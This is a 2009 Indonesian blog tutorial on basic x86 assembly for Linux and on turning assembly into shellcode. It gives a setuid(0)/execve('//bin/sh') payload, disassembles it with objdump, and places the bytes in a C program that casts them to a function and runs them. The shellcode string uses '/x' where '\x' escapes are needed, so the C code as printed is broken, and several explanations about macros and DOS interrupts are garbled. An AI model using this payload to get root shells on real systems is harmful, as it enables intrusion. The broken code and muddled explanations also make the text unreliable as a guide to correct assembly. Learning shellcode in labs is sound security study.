Pengenalan Basic ASM + convert to shell Code C (targa 21) - 29 August 2009 - ..::| Including Techno | WYSIWYG |::..
..::| Including Techno |::..
iMenu
Find...
iCategory
News [3]
Berita terkini ...
Tutorial [7]
all about tutorial...
Software [2]
all about software...
Hacking [2]
all about hacking stuff here...
Virus [1]
all about virus and how to solve...
Opini [4]
Opini dari saya...
Humor [2]
penghilang stress....
iCalender
«  August 2009  »
SuMoTuWeThFrSa
      1
2345678
9101112131415
16171819202122
23242526272829
3031
iTranslate


Google PageRank Checker

iGo ...
Internet Sehat

Internet Sehat

Komunitas Blogger Indonesia

balaibahasabandung.web.id

iFriend
Blog - Uchyha

Main » 2009 » August » 29 » Pengenalan Basic ASM + convert to shell Code C (targa 21)
Pengenalan Basic ASM + convert to shell Code C (targa 21)
5:59 Am
oke langsung aja ya?

instruksi dasar yg sering dipake:
-------------------------------------

-mov artinya move (pindahkan)
contoh dg asm 32 bit:
misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> syarat salah 1 syscall
misal kita mao panggil int 21 h fungsi 9 hexa untuk menampilkan teks di layar.

-jmp artinya jump (loncat)
bisa dipakai untuk loncat misal ke macro (macro atau prosedur cuma ada di asm 32 bit di 64 bit gak ada macro)


-push -> dorong (untuk menyimpan)
misal untuk menyimpan data ke stack pointer

- pop -> ambil ( untuk mengambil data dari stack)

- jne -> jump if not equal (lompat jika tidak sama)

- jnz -> jump if not zero (lompat jika bukan zero)

- jnc -> jump if not carry (lompat jika tidak ada sisa)

- lea -> load effective address

- and -> logika and

untuk lebih lengkapnya silahkan cari di google dg keyword: "assembly language instruction"

Model Pemrograman

perbedaan menonjol antara model pemrograman asm bisa dilihat dari register2 yang banyak dia pakai.

- model asm 8 bit
mengunakan register: AH,AL,BH,BL,CH,CL,DH,DL

-model 16 bit
menggunakan register : AX,BX,CX,DX,SP,BP,DI,SI,IP,FLAGS,CS,DS,ES,SS,FS,GS

- model 32 bit
menggunakan regi: EAX, EBX,ECX,EDX,ESP,EBP,EDI,EIP (return address -> ini dia yang banyak dimanfaatkan hacker pada saat nilai kembali berusaha dioverwrite utk point ke instruksi yang ilegal)


contoh syscall dg asm:

karena yg ngetrend adalah yg 32 bit maka kita akan coba langsung aja prakteknya di bawah ini:

dalam kasus ini kita akan memanggil 2 syscall nomer 1 (sys_exit) dan syscall nomer 4 (sys_write) berikut ini contoh basic asm yg menggunakan 2 syscall tadi:
(btw ni asm 32 bit di linux tar kita kompile pake nasm (netwide assembler) kita jadikan elf binary
file name: contoh.asm

section .data
  tes db 'mywisdom',10;db artinya define byte di mana var tes diisi string mywisdom

section .text
   global _start

_start:
    mov edx,8 ;panjang string mywisdom
    mov ecx,tes ; ecx diisi data tadi
    mov ebx, 1 ; ebx diisi 1 syarat sycall no 4
    mov eax, 4 ; mo mangil syscall no 4 yaitu write
    int 80h ;interup 80 hexa utk eksekusi syscall

    mov ebx,0
    mov eax,1 ;
     int 80h ;keluar program


untuk lebih jelasnya ini gw sengaja upload daftar table syscall bisa diliat di sini:

http://mangga-dua.com/albums/thumb/syscalls.html

selanjutnya simpan dengan nama file mywisdom.asm

cara kompile:


nasm -f elf mywisdom.asm
ld -o mywisdom mywisdom.o


oya selain itu ada juga yg model 32 bit at&t kita kompile pake gas, biasanya ini banyak dipake di inline assembly.


CONTOH MEMBUAT SHELLC0DE DARI ASM
sebelum mulai ada aturanya:

peraturan shellc0de yang baik:
1. jangan terlalu panjang
2. jangan mengandung \x00 (terminate string)


ok dari asm c0de berikut ini:
filename: leqhi.asm

global _start
section .text
_start:
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
push ecx;ecx = 0
push 0x68732f6e ;kalao diconvert jadi hs\n artinya sh krn selalu dibalik
push 0x69622f2f ;nib
mov ebx,esp
lea eax,[ecx+0Bh];syarat utk execve syscall harus load efektif address
int 80h


kompile:


nasm -f elf leqhi.asm
ld -o leqhi leqhi.o


lalu untuk membuat shellc0denya kita disassembly .section text:

root@DL:/mnt/sda12/root/c/asm# objdump -d leqhi

sh:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060:   31 c9                   xor    %ecx,%ecx
8048062:   8d 41 17                lea    0x17(%ecx),%eax
8048065:   cd 80                   int    $0x80
8048067:   51                      push   %ecx
8048068:   68 6e 2f 73 68          push   $0x68732f6e
804806d:   68 2f 2f 62 69          push   $0x69622f2f
8048072:   89 e3                   mov    %esp,%ebx
8048074:   8d 41 0b                lea    0xb(%ecx),%eax
8048077:   cd 80                   int    $0x80
root@DL:/mnt/sda12/root/c/asm#


ok shellcode dari hasil objdump di atas adalah:

/x31/xc9/x8d/x41/x17/xcd/x80/x51/x68/x6e/x2f/x73/x68/x68/x2f/x2f/x62/x69/x89/xe3/x8d/x41/x0b/xcd/x80


ok template utk eksekusi shellcode yg kali ini akan kita pakai adl:

#include <stdio.h>
int main()
{
char shellcode[]="bagian yang diapit ini akan kita sisipkan shellcode kita";
(*(void (*)()) shellcode)();
}


di mana bagian yang ada tulisan: "bagian yang diapit ini akan kita sisipkan shellcode kita"
tadi akan kita sisipkan shellcode hasil konvert sehingga menjadi shellc0de kita di bawah ini:

filename: hack.c

#include <stdio.h>
int main()
{
char shellcode[]="/x31/xc9/x8d/x41/x17/xcd/x80/x51/x68/x6e/x2f/x73/x68/x68/x2f/x2f/x62/x69/x89/xe3/x8d/x41/x0b/xcd/x80";
(*(void (*)()) shellcode)();
}



selanjutnya tingal dikompile:

gcc -o hack hack.c


OK sekian tutorial dari saya. Terima kasih

mywisdom

Category: Tutorial | Views: 126 | Added by: trieari | Rating: 0.0/0 |
Total comments: 1
0  
1 masterofcpu@indowebster.web.id   (24-Oct-2009 5:22 PM)
hola,

bagus tutorial-nya bro, mungkin perlu ditambahkan, asm diatas khusus prosessor apa? klo dilihat dari assembler-nya nasm cuman support x86 series.

klo z80, 6502, 65815, MIPS series bagaimana?
beda bro....

untuk MIPS series (32 bit) nama register-nya berbeda dari yang diatas...


Name *:
Email:
Code *:
QuickContact

saya sedang
Entries archive
iPoll
Bagaimana tentang web baru saya?
Total of answers: 16
iShout


iStats


Total online: 1
Guests: 1
Users: 0

..::|Including Techno | WYSIWYGYour IP is 38.107.191.96|::..